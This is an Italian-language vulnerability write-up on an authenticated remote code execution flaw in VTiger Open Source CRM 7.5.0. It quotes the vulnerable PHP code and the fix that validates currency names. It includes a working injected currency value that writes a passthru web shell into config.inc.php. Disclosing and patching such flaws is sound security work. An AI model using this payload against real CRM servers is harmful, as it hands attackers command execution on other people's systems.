
Esecuzione di codice in remoto autenticata in in VTiger Open Source CRM v7.5
Esecuzione di codice in modalità remota autenticata in VTiger Open Source CRM v7.5
Esiste una vulnerabilità nel modulo Users della versione attuale di VTiger CRM Open Source 7.5.0 che consente a un utente autenticato di scrivere ed eseguire codice PHP arbitrario in config.inc.php.
Quando un utente è autenticato in VTiger normalmente, viene verificato il suo stato di configurazione per stabilire se si tratta di un nuovo utente non ancora completamente configurato. Viene inoltre verificato se è il primo utente, ovvero un amministratore che dovrebbe configurare alcune proprietà globali. In tal caso viene reindirizzato a un'azione UserSetup nel modulo Users.
$userSetupStatus = Users_CRMSetup::getUserSetupStatus($focus->id);
if ($userSetupStatus) {
$user = $focus->retrieve_entity_info($focus->id, 'Users');
$isFirstUser = Users_CRMSetup::isFirstUser($user);
if($isFirstUser) {
header('Location: index.php?module=Users&action=UserSetup');
}
/modules/Users/Authenticate.php, riga 112
In questa azione viene eseguito un controllo per verificare se l'utente ha fornito un'impostazione di valuta globale ("USA, Dollars" per impostazione predefinita) e la salva utilizzando la funzione updateBaseCurrency.
//Handling the System Setup
$currencyName = $request->get('currency_name');
if(!empty($currencyName)) $userModuleModel->updateBaseCurrency($currencyName);
$userModuleModel->insertEntryIntoCRMSetup($userRecordModel->getId());
//End
/modules/Users/actions/UserSetupSave.php, riga 28
Nella funzione updateBaseCurrency, il valore fornito viene impostato come impostazione di valuta globale per l'intero sistema nel database e chiama anche la funzione updateConfigFile, che apre il file di configurazione e utilizza str_replace di PHP per sostituire il valore esistente con quello fornito.
public function updateConfigFile($currencyName) {
$currencyName = '$currency_name = \''.$currencyName.'\'';
//Updating in config inc file
$filename = 'config.inc.php';
if (file_exists($filename)) {
$contents = file_get_contents($filename);
$currentBaseCurrenyName = $this->getBaseCurrencyName();
$contents = str_replace('$currency_name =
\''.$currentBaseCurrenyName.'\'', $currencyName, $contents);
file_put_contents($filename, $contents);
}
}
/modules/Users/models/Module.php, riga 148
L'azione di configurazione utente nella versione attuale di VTiger CRM non verifica se l'utente è effettivamente configurato o meno, o se ha il permesso di modificare variabili globali. Presume solo che se si accede a quella pagina, allora si è la persona che dovrebbe configurarla. Pertanto, utilizzando un cookie di sessione esistente e un token CSRF preso da qualsiasi pagina autenticata caricata, un utente malintenzionato può inviare in POST un valore di valuta come:
USA, Dollars';@passthru($_GET['cmd']);//
Questo valore viene quindi scritto ciecamente nel file config.inc.php come:
//Master currency name
$currency_name = 'USA, Dollars';@passthru($_GET['cmd']);//';
Poiché il file di configurazione viene caricato su ogni pagina, un utente malintenzionato può semplicemente passare un comando Unix come parametro cmd e vedere l'output nella parte superiore della pagina.

Questo problema è stato risolto in questo commit dove è stata aggiunta una validazione aggiuntiva per garantire che nomi di valuta malevoli non possano essere inseriti dagli utenti, e invece il valore viene prelevato dalla tabella del database.
public function updateBaseCurrency($currencyName) {
$db = PearDatabase::getInstance();
$result = $db->pquery('SELECT currency_code, currency_symbol, currency_name FROM vtiger_currencies WHERE currency_name = ?', array($currencyName));
$num_rows = $db->num_rows($result);
if ($num_rows > 0) {
$currency_code = decode_html($db->query_result($result, 0, 'currency_code'));
$currency_symbol = decode_html($db->query_result($result, 0,'currency_symbol'));
$currencyName = decode_html($db->query_result($result, 0, 'currency_name')); // riscrive il valore effettivo dalla tabella.
} else {
// Nome di valuta non valido.
return;
}
$this->updateConfigFile($currencyName);
//Aggiornamento del database
$query = 'UPDATE vtiger_currency_info SET currency_name = ?, currency_code = ?, currency_symbol = ? WHERE id = ?';
$params = array($currencyName, $currency_code, $currency_symbol, '1');
$db->pquery($query, $params);
}